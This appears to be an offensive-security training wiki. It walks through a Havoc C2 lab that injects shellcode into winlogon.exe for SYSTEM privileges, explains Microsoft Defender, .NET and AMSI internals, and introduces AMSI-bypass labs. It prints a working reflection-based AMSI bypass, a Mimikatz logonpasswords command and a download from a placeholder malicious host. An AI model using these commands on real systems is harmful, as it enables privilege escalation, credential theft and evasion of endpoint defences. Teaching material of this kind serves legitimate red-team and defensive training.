TLDR: We are only briefly touching on win32 api functions here, and process injection - this will come back later in the training in more detail. For now it's enough to understand the principle of code injection for the purpose of privilege elevation.

1.3 MITRE

• Start a new demon implant running with Threatadmin, this will automatically spawn a new session in high integrity. On your Windows machine, open a command prompt with Administrator privileges and type the following:

whoami /groups
c:\temp\demon.x64.exe

On your Kali machine, in the Havoc GUI you should see a new session pop up, running with ThreatAdmin privileges and high integrity.

To inject a new Havoc demon shellcode into a process with system privileges, we need to do 3 things:

• Generate a Havoc shellcode (more shellcode later)

• Identify a running process running with NT AUTHORITY/SYSTEM privileges (Integrity level HIGH, same as our integrity level)

• Inject our Havoc shellcode into that process

• Remember to inject code into a process, your source process needs to run in at least the same or higher integrity as the target process - once you have an admin session in high integrity you can inject into a system process since they also run in high integrity (make sure SeDebugPrivilege is enabled).

1.4 GENERATE SHELLCODE

• In the Havoc GUI, in the top menu bar go to Attack -> Payload. Select "Windows Shellcode" as format and put the Injection Alloc/Execute both to Win32 (just a vanilla payload), click Generate and wait a minute or so, then save this payload under "/opt/Havoc/payloads/demon.x64.bin".

1.5 IDENTIFY PROCESS

Havoc has a very nice GUI based process browser - let's use that:

• In the Havoc GUI, select the session that just spwaned and right-click Explorer -> Process List.

We see lots of processes running with SYSTEM privileges - let's take WINLOGON (winlogon.exe), copy the PID (write it down somewhere) ,then go back and interact with your sessions and run the following command.

1.6 INJECT CODE

• Interact with your current Havoc session (running with ThreatAdmin in high integrity) and enable SeDebugPrivilege first (this is needed to be able to inject into processes running with SYSTEM privilege), then inject the shellcode into the target process (winlogon.exe in this case).

• First enable the SeDebugPrivilege by typing the following command:

NOTE: Sometimes when you copy/paste from this WIKI to the Havoc GUI, the command might not paste correctly (it sometimes seems to add a few spaces at the end) - if you get an error, try typing it manually.

token privs-get SeDebugPrivilege

• And then inject the shellcode into the target process by runnning the following command, replacing <PID with System privs> with the PID you copied from the process explorer.:

shellcode inject x64 <PID with System privs> /opt/Havoc/payloads/demon.x64.bin

We see a new demon spawn, from within the winlogon process, running with NT AUTHORITY/SYSTEM privileges. We can verify this by running whoami in the new session:

• Interact with the new session (the one spawned from winlogon):

• And run the following command:

whoami

What just happened?

We successfully injected our Havoc shellcode into the winlogon process, which is running with NT AUTHORITY/SYSTEM privileges. This allows us to execute code with the highest level of privileges on the system. Our shellcode was executed in the context of the winlogon process, effectively elevating our privileges to SYSTEM level.

IMPORTANT: WINLOGON.exe is a critical system process, so before we go to clean up let's remove our injected shellcode from winlogon.exe - otherwise we might cause a BSOD (blue screen of death) when we try to terminate the process. To do this:

• Right-Click on the winlogon session in Havoc, right-click "Exit-> THREAD" and finally "Remove".

We are terminating the injected thread only, not the whole process - killing the process could cause a BSOD, or system instability.

Now let's clean up the rest of our sessions.

1.7 CLEANUP

On your Kali machine:

• Stop the updog server in the terminal it's running in by pressing CTRL+C.

• In order to properly clean up your sessions - in the Havoc GUI, right-click on each session, "Mark as dead", then "Exit-> Process" and finally "Remove".

On your Windows machine:

• Close all command prompts, and PowerShell windows.

1. WINDOWS DEFENDER / MDE (EDR)

TL;DR : This chapter explains how most AV/EDR's work - in this case we'll focus on Microsoft Defender (the AV part), MDE (Microsoft Defender for Endpoint) which is the EDR component that we'll deal with later on. Windows defender is the most widely used Antivirus and also one of the most targeted products seen in attacks in the wild it is ALSO pretty darn good!

This training focuses on user-level techniques to bypass Defender/MDE, and does not cover kernel-level techniques (like kernel driver hooking, DKOM, etc.) which are more complex and risky. Kernel level techniques require a signed driver, and are more likely to cause system instability or crashes. There are many known BYOVD (Bring Your Own Vulnerable Driver) techniques that can be used to load unsigned drivers, but these are outside the scope of this training.

That being said there are plenty of ways to bypass Defender/MDE without touching the kernel, and these are the techniques that will be covered in this training:

• Making our code evasive to static analysis (obfuscation, packing, encryption)
• Using living-off-the-land techniques (LOLbins, signed binaries, etc.)
• Using fileless techniques (PowerShell, WMI, etc.)
• Abusing trusted processes (process hollowing, DLL sideloading, etc.)
• Abusing Defender/MDE weaknesses (disabling, tampering, etc.) - Tamper protection is enabled by default for enterprise customers with MDE (Defender for Endpoint), making this significantly more difficult. For standalone Microsoft Defender Antivirus installations, tamper protection can be manually configured through the Windows Security app.

https://learn.microsoft.com/en-us/defender-endpoint/adv-tech-of-mdav

1.1 DEFENDER ARCHITECTURE

The MDA product is composed of modules running both in kernel and user mode. The overview is depicted in the figure above.

• The first component which is loaded is the WdBoot.sys. This is the ELAM driver that checks the integrity of the system during the early stages of the system boot. It is loaded before any other third party driver and it scans each loaded driver image before its DriverEntry is invoked. For the detection it uses its own set of signatures that are stored on a special registry Value Key (HKLM\ELAM\Microsoft Antimalware Platform\Measured) which is not accessible after the ELAM driver is unloaded.

• The Microsoft Defender Antivirus Service main responsibility is to start the main MDA executable, namely MsMpEng.exe . Such process is executed with EPROCESS.Protection equal to AntimalwareLight (0x31) thanks to the WdBoot certification. MsMpEng is a relatively small (approximately 300K) executable which loads the following bigger components that implement most of the logic:

  • MsRtp: it manages the Real-time protection
  • MpSvc: it loads and manages the main component MpEngine
  • MpEngine: is the biggest component (approximately 19 MB). It implements scanners, emulators, modules, signature loading from the VDM file and signature handling.

• MpCmdRun is an external command line tool that uses the MpClient library to interact with the main service. MpClient is an auxiliary library that implements a bunch of RPC requests for the service (to get the configuration or to request a scan).

• Last but not least, there is the WdFilter.sys, the main kernel space component of the MDA architecture. It monitors the access to the filesystem by registering as minifilter driver (think ETW events), it registers notification routines (image load, process creation, object access etc.) and more.

1.2 DIFFERENCES BETWEEN MICROSOFT DEFENDER ANTIVIRUS (MDA) AND MICROSOFT DEFENDER FOR ENDPOINT (MDE)

1.3 MICROSOFT DEFENDER DETECTION AND PROTECTION ENGINES

Microsoft Defender incorporates multiple detection and protection engines, each with specific functions and complementary strengths. Below is an explanation and a comparative table based on official Microsoft documentation.

Overview of Defender Engines

• Static (Signatures, ML):

  • Signature-based: Uses known virus definitions and hashes to rapidly identify known malware.
  • Machine Learning (ML): Employs lightweight models on the client and advanced models in the cloud to detect new/unknown threats by analyzing file characteristics and behaviors in milliseconds.

• Emulation:

  • Executes suspicious files in a controlled, simulated environment (emulator) on the endpoint, allowing Defender to observe how the file behaves at runtime—useful for unpacking or exposing polymorphic and packed malware.

• Sandboxing:

  • Suspicious files are "detonated" (executed) in an isolated virtual cloud environment. Defender observes resultant behaviors to detect malware that evades static and emulation detection. This layer is highly effective against sophisticated, targeted attacks and new threats.

• Behavioral:

  • Monitors processes, user and system activity, memory, network connections, and command lines during execution. Behavioral engines detect threats based on actions (e.g., abnormal file encryption, privilege escalation, lateral movement) even if no static indicators exist.

Microsoft Defender Engine Comparison Table

NOTE: Local sandboxing is by default turned OFF, more information on this in the article below - so your default Defender installation relies completely on the cloud for sandboxing. You can enable local sandboxing by using the command : setx /M MP_FORCE_USE_SANDBOX 1 (DON'T DO THIS IN THE TRAINING LAB - SERIOUS PERFORMANCE IMPACT). A reboot is required for these changes to take effect, expect a serious performance impact when enabling this. https://learn.microsoft.com/en-us/defender-endpoint/sandbox-mdav

Get-ChildItem -Path Env:MP_FORCE_USE_SANDBOX -ErrorAction SilentlyContinue

1.4 HOW MICROSOFT DEFENDER EMULATION WORKS

The emulation engine dynamically runs suspicious executable code inside a controlled, virtualized "emulator" environment on the endpoint.

It simulates the CPU instructions and basic operating system calls to unpack and reveal the true behavior of the malware payload without allowing it to run natively on the system.

The engine uses an advanced form of dynamic translation (lifting CPU instructions into a safe intermediate representation) for architectures like x86 (16, 32, 64-bit), ARM, and others.

During emulation, the engine monitors how the code behaves:

• Unpacks polymorphic and packed malware by observing decrypted or decompressed payloads in memory.
• Detects suspicious or malicious operations like modifying memory, self-modifying code, or triggering known malware behaviors.

The emulation results are analyzed in real-time: the engine inspects both the memory contents at the end of emulation and the sequence of operations performed.

It caches results upon successful emulation so repeated scans don't waste resources.

Emulation is tightly integrated with heuristic and machine learning detectors to boost accuracy and expose behaviors that static analysis or quick reputation checks cannot detect.

Benefits and Role in Malware Detection

• Emulation is especially effective at defeating packers, obfuscators, and polymorphic malware, which hide malicious payloads behind transformations.
• It bridges the gap between static scanning (fast but sometimes fooled by obfuscation) and full sandbox detonation (cloud-based, deeper but slower analysis).
• It helps increase detection accuracy and reduce false negatives in real-time endpoint protection.

Trigger Conditions for Defender Emulation

Microsoft Defender's emulation engine typically triggers when a file or executable cannot be reliably classified using faster static analysis or machine learning techniques and is suspected of being evasive malware. Key trigger conditions include:

• Unknown or untrusted executables without clear static signatures. When the static engine cannot classify a file confidently, emulation is used for dynamic unpacking and behavior observation.
• Detection of packed, obfuscated, or polymorphic files which may hide their malicious payload behind encryption or code transformations.
• Heuristic indicators or ML suspicion scores that flag a file as suspicious but require further runtime behavioral context.
• Files or code sections that exhibit runtime characteristics suspicious enough to warrant deeper dynamic analysis on the endpoint.
• Emulation may be skipped or deferred if the file is already known safe or blocked by signature/ML, or if resource constraints dictate prioritization.

How Microsoft Defender Heuristics Works

A Suspicious heuristic score in Microsoft Defender typically refers to a detection signal generated by a heuristic rule or model that identifies files exhibiting characteristics or behaviors similar to known malware, but without an exact signature match. This score reflects how closely the file matches these suspicious patterns, guiding the decision to escalate the file for further analysis such as emulation.

EXPLANATION

Heuristic rules are manually crafted or automatically derived logic patterns that look for features often found in malicious files, such as suspicious file structure, unusual API usage, packing or encryption indicators, or code anomalies.

The heuristic score quantifies the suspicion level, often combined with other factors like machine learning confidence scores or reputation data.

When a heuristic signature or score exceeds a threshold, it can trigger the emulation engine to dynamically analyze the file's behavior.

Example

A heuristic rule might flag an executable that:

• Uses uncommon system calls associated with code injection (Win32API)
• Contains suspiciously aligned sections or irregular import tables (PE-Format)
• Includes a known packer (i.e. UPX ) signature or exhibits entropy patterns typical of encrypted payloads

For example, a heuristic rule could be:

• "Flag PE files where the .text section contains more than 80% high entropy bytes indicating encryption, and the import table appears unusually small or corrupted."

If a scanned file matches this rule, Defender will assign a suspicious heuristic score. If high enough, the emulation engine will be triggered to unpack and inspect the file's runtime behavior to confirm if it is malicious.

1.5 BEHAVIORAL MONITORING WITH ETW

Microsoft Defender does not use hooking of functions, API's or syscalls to monitor behavior - instead it relies on ETW (Event Tracing for Windows) and Eventlog policies that need to be enabled.

Microsoft Defender uses ETW and kernel callbacks for behavioral monitoring:

• ETW / Kernel callbacks
• Eventlog policies that need to be enabled
• Sampling includes:
  • file writes
  • dll's loaded
  • Registry writes
  • network connections (1 per unique process per day per machine)

1.6 EDR TELEMETRY COMPARISON MATRIX

Source: edr-telemetry.com

Legend

1.7 ADDITIONAL RESOURCES

BSides Berlin 2022: "EDR Evasion Primer" - Jorge Gimenez
https://www.youtube.com/watch?v=3sPb9d9WIG0

FirstCon 2022 : "EDR Internals From a Defenders Perspective" - Olaf Hartong (FalconForce)
https://www.youtube.com/watch?v=6SSVOfcoVUA

Wild West Hackin' Fest 2025 : "Detection Engineering...My Educational Failures That Proved to be Useful, After All" - Olaf Hartong (FalconForce)
https://www.youtube.com/watch?v=EhpJc4W9-fE

https://www.edr-telemetry.com/windows.html

References:

• Microsoft Defender Advanced Technologies
• Security research on Defender's emulator (Black Hat)

1. .NET & CLR / POWERSHELL

1.1 WHAT IS .NET? (FROM A DFIR PERSPECTIVE)

.NET is a Microsoft framework that helps developers build apps for Windows, web, mobile, and more. It's like a toolbox with pre-built components (libraries for files, networking, etc.) so developers don't start from scratch. On Windows 10, .NET is used for desktop apps, web services, and system tools.

DFIR Relevance: Many apps, including malware, use .NET because it's easy to develop and obfuscate.

1.2 WHAT IS THE CLR?

The Common Language Runtime (CLR) is the engine that runs .NET apps. On Windows 10, it:

1. Executes Code: Converts .NET code (written in C# or other languages) into CPU instructions.
2. Manages Memory: Handles memory allocation and cleanup (garbage collection) to avoid crashes.
3. Ensures Security: Enforces rules to limit malicious code, like sandboxing or permission checks.
4. Supports Multiple Languages: Allows different programming languages to work together.

How Does It Work on Windows 10?

• .NET apps are compiled into MSIL (Microsoft Intermediate Language), not direct machine code.
• The CLR uses a Just-In-Time (JIT) compiler to turn MSIL into machine code at runtime.
• The CLR dynamically resolves dependencies (e.g., kernel32.dll, clr.dll) at runtime, not statically in the IAT.

DFIR Implications

1. Artifacts: Look for .NET assemblies (.exe, .dll), config files, or logs in %APPDATA%, %PROGRAMFILES%, or Windows Event Logs.
2. Malware Analysis: .NET malware is common. Use tools like dnSpy or ILSpy to decompile and analyze code.
3. Memory Forensics: Check memory dumps for .NET structures (heap, JIT code) to understand app behavior using Volatility or Rekall.
4. Execution Traces: Processes like clr.dll or mscorwks.dll indicate .NET activity.

1.3 .NET LANGUAGES

• PowerShell (scripting)
• VB.NET (compiled to MSIL)
• C# (compiled to MSIL)
• F# (compiled to MSIL)

Here's a simplified diagram:

Unlike C/C++ programs, which are compiled to native code and rely directly on ntdll.dll, kernel32.dll, and other system libraries, .NET binaries require additional DLLs—mscoree.dll and clr.dll—to initialize and run the .NET CLR. However, .NET binaries still load ntdll.dll and kernel32.dll initially, as these are essential for all Windows processes.

1.4 .NET BINARY ANALYSIS BREAKDOWN

.NET binaries have unique characteristics that affect both malware development and detection:

• Minimal IAT: Typically only referencing mscoree.dll, as they are compiled to MSIL and rely on the CLR for final machine code conversion via JIT compilation.
• Easy Reversibility: The MSIL code is easily reversed with tools like dnSpy, exposing plain text strings and logic, but attackers use obfuscation to counter this.
• EDR Detection: EDRs focus on hooking the CLR rather than the IAT to monitor .NET apps.
• AMSI Integration: AMSI is dynamically loaded by the CLR and scans buffers, strings, or assemblies for malicious content.

Import Address Table Analysis

The Import Address Table (IAT) in a Windows PE file lists DLLs and functions a binary needs at runtime. Native binaries (e.g., C/C++) have detailed IATs referencing kernel32.dll, user32.dll, etc.

.NET binaries have a minimal IAT, typically only referencing mscoree.dll (Microsoft .NET Runtime Execution Engine, via _CorExeMain or _CorDllMain). The IAT isn't truly "missing" but is sparse because the CLR dynamically resolves system APIs (e.g., CreateFile) via .NET framework classes (e.g., System.IO.File).

DFIR Analysis: Use PEiD or CFF Explorer to check the IAT. A sparse IAT (e.g., only mscoree.dll) is a quick .NET binary indicator, prompting analysis with dnSpy rather than traditional IAT analysis.

JIT Compilation Process

.NET binaries are compiled to MSIL, a platform-independent intermediate language, not native machine code. The CLR uses a Just-In-Time (JIT) compiler to convert MSIL to native code (e.g., x86/x64) at runtime.

DFIR Analysis: MSIL's structured format is easily reversed with dnSpy or ILSpy, aiding malware analysis. Attackers use obfuscators (e.g., ConfuserEx) to counter this. In memory forensics, find JIT-compiled code or MSIL in memory dumps.

EDR Detection Methods

Endpoint Detection and Response (EDR) solutions hook system APIs (e.g., CreateFile in kernel32.dll) for native binaries, but .NET's minimal IAT makes this less effective. EDRs hook CLR components (e.g., JIT compiler, .NET methods like System.Net.WebClient) to monitor .NET apps, as the CLR mediates system calls.

DFIR Analysis: Check EDR logs for CLR-related alerts (e.g., suspicious JIT compilation or .NET method calls). Look for CLR hook evasion in memory or logs (e.g., via reflection).

Code Reversibility

.NET binaries store MSIL and metadata, including plain text strings (e.g., URLs, file paths), easily decompiled with dnSpy or ILSpy into readable C# code. Attackers use obfuscators (e.g., ConfuserEx) to scramble strings or methods, but analysts can often deobfuscate with tools or manual effort.

DFIR Analysis: Extract strings (e.g., C2 URLs) with dnSpy during malware analysis. Check for obfuscation and use de4dot to deobfuscate if needed. Find plain text strings in memory dumps or logs for quick investigative leads.

AMSI Integration

AMSI (Antimalware Scan Interface) integrates with the CLR to scan .NET code, scripts, or in-memory content (e.g., strings, buffers, assemblies) for malicious behavior. The CLR dynamically loads AMSI when processing .NET methods or scripts (e.g., PowerShell using .NET objects).

Attackers bypass AMSI (e.g., via PowerShell commands like [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)).

DFIR Analysis: Check Windows Event Logs (Microsoft-Windows-Windows Defender/Operational, Event IDs 1100–1102) for AMSI detections. Look for AMSI bypass scripts in PowerShell logs or memory. Analyze CLR-managed memory with Volatility for AMSI-scanned buffers.

1.5 WHY C# FOR THIS TRAINING?

So why are we doing this training in C# (CSHARP/dotnet) - below is an overview, but having C# payloads, stagers and loaders is that they can easily be re-used in other frameworks (i.e. SLIVER), using execute-assembly and similar features that allow executing .net executables in memory. Additionally they can be used in powershell scripts, as we'll see in the next few labs.

Let's continue to how AMSI and ETW are relevant within an AV/EDR's detection engine.

1. AMSI (ANTI-MALWARE SCANNING INTERFACE)

AMSI was introduced in June 2015.

The Windows Antimalware Scan Interface (AMSI) is a versatile interface standard that allows your applications and services to integrate with any antimalware product that's present on a machine. AMSI provides enhanced malware protection for your end-users and their data, applications, and workloads.

AMSI is agnostic of antimalware vendor; it's designed to allow for the most common malware scanning and protection techniques provided by today's antimalware products that can be integrated into applications. It supports a calling structure allowing for file and memory or stream scanning, content source URL/IP reputation checks, and other techniques.

1.1 AMSI INTEGRATION IN WINDOWS 10 COMPONENTS

In Windows 10 (version 22H2), the Antimalware Scan Interface (AMSI) is integrated into the following components:

• User Account Control (UAC): Scans scripts during elevation of EXE, COM, MSI, or ActiveX installations.
• PowerShell v5 and later: Scans scripts, interactive commands, and dynamic code evaluation, including .NET assemblies.
• Windows Script Host (Wscript.exe, Cscript.exe): Scans VBScript and JScript during execution.
• Microsoft Office (including Office 365): Scans VBA macros, Excel 4.0 macros, and JavaScript in documents and web add-ins, except when bypassed by Trusted Locations, Trusted Documents, Trusted Publishers, or "Enable All Macros" settings.
• Windows Management Instrumentation (WMI): Scans scripts executed via WMI providers (e.g., PowerShell via wmic.exe).
• .NET Framework 4.8 and later: Scans assemblies loaded by the CLR at runtime, particularly for in-memory code.
• SharePoint Server (2016, 2019, Subscription Edition): Scans HTTP requests and content since March 2023 (2019) and November 2022 (Subscription Edition).
• Exchange Server: Scans HTTP requests and content since June 2021.
• Volume Shadow Copy Operations: Scans scripts executed during shadow copy operations.

https://docs.microsoft.com/en-us/windows/win32/amsi/how-amsi-helps

Runtime – Antimalware Scanning for All Assemblies In previous versions of .NET Framework, Windows Defender or third-party antimalware software would automatically scan all assemblies loaded from disk for malware. However, assemblies loaded from elsewhere, such as by using Assembly.Load(byte[]), would not be scanned and could potentially carry viruses undetected.

.NET Framework 4.8 (released April 18th on Windows 10) triggers scans for those assemblies by Windows Defender and many other antimalware solutions that implement the Antimalware Scan Interface. Making it harder for malware to disguise itself in .NET programs.

LINK : https://devblogs.microsoft.com/dotnet/announcing-net-framework-4-8-early-access-build-3694/

LINK : https://en.wikipedia.org/wiki/.NET_Framework_version_history

In Microsoft Office's default configuration (macro security set to "Disable all macros with notification"), Microsoft Office scans VBA macros at runtime via AMSI, except in the following scenarios:

• Macro security is set to "Enable All Macros" in the Trust Center.
• Documents are opened from Trusted Locations.
• Documents are marked as Trusted Documents.
• Documents contain VBA macros digitally signed by a Trusted Publisher.

Supported Operating Systems

• Windows 10 PRO/ENTERPRISE and Windows Server 2016 and later

Supported 3rd Party Antivirus/EDR Vendors

• Windows Defender
• Carbon Black Defense
• Crowdstrike Falcon
• Kaspersky
• McAfee Endpoint Security 10.6.0
• Sophos
• Symantec (v14.3 and later)
• and a lot more...

LINK : https://github.com/subat0mik/whoamsi

• To check which version of .NET and the CLR is installed open a PowerShell prompt and type the following:

$psversiontable
[System.Reflection.Assembly]::GetExecutingAssembly().ImageRuntimeVersion
$dotnet = [System.Reflection.Assembly]::Load("mscorlib")
$dotnet.GetName().Version

• Let's see if our AMSI engine is working properly by doing a simple AMSI Test Sample (comparable to EICAR):

1.2 AMSI TEST

• Let's make sure our Defender and AMSI is turned on:

Invoke-Expression 'AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386'

• Even funnier, when you run the following command in a PowerShell console, AMSI will flag it as malicious, although the PowerShell script is not even available on your Windows machine:

Invoke-Mimikatz

1.3 BYPASSING AMSI AND HOW IT WORKS

AMSI integrates with multiple Windows components, including PowerShell and the CLR for .NET/C# binaries.

• In PowerShell v5 and later, amsi.dll is loaded into every powershell.exe process to scan scripts, interactive commands, and dynamic code.
• For .NET binaries (C# or others) in .NET Framework 4.8 and later, AMSI integrates with the CLR, which dynamically loads amsi.dll to scan assemblies (e.g., during Assembly.Load or JIT compilation).

AMSI bypasses effective in PowerShell (e.g., patching AmsiScanBuffer or disabling via reflection) do not necessarily work for CLR integration, as the CLR's scanning is independent. Understanding these differences is critical for analyzing or bypassing AMSI in DFIR scenarios.

• When a .NET binary runs, the CLR (via clr.dll) loads amsi.dll dynamically to enable scanning. This happens in processes like powershell.exe (for .NET-invoking scripts) or custom .NET executables.

• The CLR calls AMSI APIs (AmsiScanString, AmsiScanBuffer) to submit content (strings, buffers, or assembly metadata) to an antimalware provider (e.g., Windows Defender) for signature or heuristic-based analysis.

• This integration is distinct from PowerShell's AMSI scanning, which focuses on scripts and commands. However, PowerShell scripts invoking .NET code (e.g., via Add-Type) bridge these integrations, triggering CLR-AMSI scans.

AMSI in PowerShell: AmsiScanBuffer and AmsiScanString

• Integration: In PowerShell v5 and later (including PowerShell 7), AMSI is integrated via System.Management.Automation.dll. Every powershell.exe process loads amsi.dll to scan scripts, interactive commands, and dynamic code (e.g., via Invoke-Expression).

• APIs Used:

  1. AmsiScanBuffer:

     • Purpose: Scans raw bytes/binary data (byte arrays, file contents, assembly bytes).
     • Usage Examples:

       # Example 1: Raw byte array manipulation
       $bytes = [System.IO.File]::ReadAllBytes("C:\temp\payload.exe")
       # AMSI scans the $bytes buffer before any execution
       
       # Example 2: Base64 decoded to byte array (DUAL SCANNING)
       $encodedPayload = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAA..."
       # ↑ AmsiScanString scans this Base64 string for malicious patterns
       
       $buffer = [Convert]::FromBase64String($encodedPayload)
       # ↑ AmsiScanBuffer scans the decoded byte array for binary signatures
       # Result: BOTH string AND buffer scanning occur
       
       # Example 3: Assembly loading from bytes
       $assemblyBytes = [Convert]::FromBase64String($base64Assembly)
       [System.Reflection.Assembly]::Load($assemblyBytes)
       # AMSI scans the $assemblyBytes buffer before CLR loads it
       

     • DFIR Relevance: Detects fileless malware using binary payloads, provides layered defense against encoded threats.

  2. AmsiScanString:

     • Purpose: Scans text content (script code, URLs, command strings, Base64 strings).
     • Usage Examples:

       # Example 1: Direct string evaluation
       $maliciousScript = "Invoke-Mimikatz -Command 'sekurlsa::logonpasswords'"
       Invoke-Expression $maliciousScript
       # AMSI scans the string content before execution
       
       # Example 2: URL strings
       $url = "http://malicious.com/payload.ps1"
       Invoke-WebRequest $url
       # AMSI scans the URL string for malicious indicators
       
       # Example 3: Base64 encoded strings (before decoding)
       $encoded = "SW52b2tlLU1pbWlrYXR6"  # "Invoke-Mimikatz" in Base64
       # AMSI scans for known malicious Base64 patterns
       

     • DFIR Relevance: Identifies hardcoded malicious strings, commands, and encoded content patterns.

• Mechanism: PowerShell passes content to amsi.dll via these APIs before execution, allowing antimalware providers (e.g., Windows Defender) to perform signature or heuristic analysis.

Layered AMSI Defense Strategy

AMSI implements a multi-stage scanning approach that makes simple encoding ineffective:

1. String-based Detection: Scans for known malicious Base64 patterns, URLs, and command signatures
2. Binary-based Detection: Scans decoded binary content for malware signatures
3. Runtime Detection: Scans assemblies and dynamic code during execution

Example of Layered Defense:

# Attacker attempts Base64 encoding bypass
$malware = "SW52b2tlLU1pbWlrYXR6"  # Encoded "Invoke-Mimikatz"
# ↑ Stage 1: AmsiScanString may detect known malicious Base64 patterns

$decoded = [Convert]::FromBase64String($malware)
# ↑ Stage 2: AmsiScanBuffer scans the decoded binary/string content

Invoke-Expression([System.Text.Encoding]::ASCII.GetString($decoded))
# ↑ Stage 3: AmsiScanString scans the final decoded command string

This demonstrates why Base64 encoding alone is insufficient to bypass AMSI - multiple scanning stages catch threats at different points in the execution pipeline.

Comparison to CLR-AMSI Integration

• PowerShell:

  • amsi.dll is loaded in every powershell.exe process.
  • Scans scripts and commands using AmsiScanBuffer (encoded/binary) and AmsiScanString (text).
  • Overlaps with CLR when .NET code is invoked (e.g., Add-Type).

• CLR (.NET Framework 4.8+):

  • CLR (via clr.dll) loads amsi.dll dynamically to scan assemblies (e.g., Assembly.Load), buffers, and strings.
  • Focuses on compiled .NET binaries, not raw scripts.

• Overlap: PowerShell scripts using .NET (e.g., Add-Type) trigger both PowerShell and CLR AMSI scans.

Key Points

• PowerShell uses AmsiScanBuffer and AmsiScanString, mirroring CLR's scanning for .NET binaries.
• Dual scanning occurs when content transitions between string and binary formats (e.g., Base64 decoding).
• PowerShell focuses on scripts, while CLR focuses on assemblies, with overlap in .NET-invoking scripts.
• PowerShell bypasses (e.g., patching AmsiScanBuffer) may not affect CLR scans.
• Layered defense makes simple encoding techniques ineffective against AMSI.

RECAP : AMSI in PowerShell v5 and later uses AmsiScanBuffer to scan binary content and AmsiScanString to scan text content. Both APIs can be triggered in a single operation (e.g., Base64 decoding triggers string scanning for the encoded content and buffer scanning for the decoded bytes). Similarly, in .NET Framework 4.8 and later, the CLR uses these APIs to scan strings, buffers, and assemblies. This multi-stage scanning makes simple encoding ineffective. amsi.dll is loaded into every powershell.exe process, while the CLR loads it dynamically for .NET binaries. PowerShell bypasses don't always work for CLR integration, as they are independent. This distinction is critical for DFIR analysis and bypass techniques.

1.4 AMSI DLL ANALYSIS

• As a first check, let's see in which process AMSI.dll has been loaded. Open a PowerShell prompt:

Get-Process | where {$_.modules.ModuleName -eq 'Amsi.dll'}

• We can also use SystemInformer (previously known as Process Hacker) to verify, open System Informer, scroll down to your PowerShell process, right-click and select properties:

• Go to the modules tab, this will show all DLLs loaded by the process, you will find the amsi.dll there indeed!

• We're going to have a closer look at that AMSI.dll and see which functions it exports (more on functions later - just know that a Windows program will load certain DLLs from disk - these DLLs contain common functions that Microsoft has made available to make life a bit easier for developers).

Pre-requisites: dumpbin.exe /exports file.dll (requires visual studio c++ and msvc v142)

• Open the "Developer Command Prompt for Visual Studio 2019"

• If we have a look at the amsi.dll's exported functions using dumpbin (use the Visual Studio 2019 Developer Command Prompt for this!) we see the following functions are available:

• Open a Visual Studio developer prompt:

dumpbin c:\windows\system32\amsi.dll /exports

ordinal hint RVA      name

          1    0 00003860 AmsiCloseSession
          2    1 000034E0 AmsiInitialize
          3    2 00003800 AmsiOpenSession
 [+]      4    3 00003880 AmsiScanBuffer -> scans the content of buffers
 [+]      5    4 00003980 AmsiScanString -> scans the content of strings (variables)
          6    5 000039E0 AmsiUacInitialize
          7    6 00003C60 AmsiUacScan
          8    7 00003C00 AmsiUacUninitialize
          9    8 000037A0 AmsiUninitialize
         10    9 00001B00 DllCanUnloadNow
         11    A 00001B40 DllGetClassObject
         12    B 00001C80 DllRegisterServer
         13    C 00001C80 DllUnregisterServer

HINT : These tools are super useful for analyzing basic functionality of binary files (exports for DLLs, imports for EXEs - to get an idea of the functions being used by the program.)

dumpbin c:\windows\system32\notepad.exe /imports

• We can also see this in PEStudio or similar tools:

• You'll also notice that you won't find any IMPORTS on a .NET (compiled C#) binary - which is a nice bonus for evasion (IAT function hooking...). The reason for this is:

• .NET Executables Use Managed Code: A .NET EXE is primarily composed of managed code, which runs in the .NET runtime (CLR). Unlike native PE files, .NET executables don't directly import functions from DLLs in the traditional PE import table. Instead, they rely on the .NET runtime to handle interactions with native APIs. The import table in a .NET EXE is often minimal or empty because most dependencies are resolved through the CLR, which dynamically loads native APIs (e.g., via P/Invoke) at runtime.

• Minimal Import Table: A typical .NET EXE only has a small stub in its PE import table, often limited to basic dependencies like mscoree.dll (the .NET runtime loader). For example, the import table might only include _CorExeMain from mscoree.dll, which initializes the CLR. If you run dumpbin /IMPORTS, you might see only this entry (or nothing if the tool skips trivial imports), as the actual function calls to native APIs are managed by the .NET runtime.

• P/Invoke for Native Calls: When a .NET application calls native functions (e.g., from kernel32.dll), it uses Platform Invoke (P/Invoke). These calls are not statically listed in the PE import table but are resolved dynamically at runtime by the CLR, which loads the required DLLs and functions. As a result, dumpbin /IMPORTS cannot see these dynamic imports because they aren't part of the static PE structure.

• Metadata-Driven Dependencies: .NET executables rely on metadata (stored in the .NET assembly) to describe dependencies, including references to other .NET assemblies or native DLLs via P/Invoke. This metadata is not part of the PE import table, so dumpbin doesn't display it.

We can see in the PEStudio image above the AmsiScanBuffer and AmsiScanString functions we talked about earlier. So the question is, how do we bypass this functionality?

Let's go to a simple AMSI Bypass lab and find out.

1. LAB - AMSI BYPASS IN POWERSHELL

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

1.1 ENABLE POWERSHELL LOGGING

IMPORTANT: Before we continue we need to set up Powershell logging on our Windows machine - you can do this with a Group Policy when you're domain joined as push this to all domain joined machines. As we're not in a domain, you need to configure this on your local machine. On Windows 10 and above, Powershell logging IS turned on but it will not log everything, just significant system events. Commands that are obfuscated or executed via encoded strings (e.g., Powershell -EncodedCommand) are not decoded or logged in a human-readable format, if you don't turn on Script Block Logging (Event ID 4104).

So let's quickly configure this for the coming labs by opening gpedit.msc.

Open Group Policy Editor:

• Press Win + R, type gpedit.msc, and press Enter to open the Local Group Policy Editor.

Navigate to Powershell Settings:

• Go to: Computer Configuration > Administrative Templates > Windows Components > Windows Powershell

• Scroll all the way down to Windows Powershell

Enable Script Block Logging:

• Double-click the Turn on Powershell Script Block Logging policy.
• Set it to Enabled.
• Click Apply and OK.

Enable Module Logging:

• Double-click the Turn on Module Logging policy.
• Set it to Enabled.
• CLick on Show and add * to log all modules.
• Click Apply and OK.

Apply the Policy:

• On your Windows machine, open a command prompt with Administrator privileges and run:

gpupdate /force

Verify the Settings:

• Verify the settings by checking our Powershell logs with Event Viewer.

